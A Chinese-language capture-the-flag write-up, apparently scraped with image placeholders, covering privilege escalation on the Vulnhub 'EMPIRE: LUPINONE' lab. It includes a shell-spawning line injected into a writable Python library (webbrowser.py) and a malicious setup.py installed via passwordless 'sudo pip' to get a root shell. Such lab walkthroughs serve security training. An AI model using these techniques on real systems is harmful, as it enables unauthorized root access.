vlunhub靶场之EMPIRE: LUPINONE( 二 )

vlunhub靶场之EMPIRE: LUPINONE
文章插图
查看该文件的权限,发现该文件具有root权限且当前用户具有编写权限,命令:ls -al /usr/lib/python3.9/webbrowser.py 。

vlunhub靶场之EMPIRE: LUPINONE

文章插图
因此在该文件中写入shell,代码:os.system("bin/bash") 。
vlunhub靶场之EMPIRE: LUPINONE

文章插图
然后再用 arsene 调用 /home/arsene/heist.py,获取arsene权限,命令:sudo -u arsene python3.9 /home/arsene/heist.py 。
vlunhub靶场之EMPIRE: LUPINONE

文章插图
提权:
查看下当前用户可以用 sudo 执行那些命令 。
vlunhub靶场之EMPIRE: LUPINONE

文章插图
发现了pip命令不需要root密码即可执行,那我们就用pip的root权限安装一个shell的程序,成功获取到 root 权限,查看 flag 。
mkdir upfinecd upfineecho "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.pysudo pip install .
vlunhub靶场之EMPIRE: LUPINONE

文章插图
vlunhub靶场之EMPIRE: LUPINONE

文章插图
【vlunhub靶场之EMPIRE: LUPINONE】

经验总结扩展阅读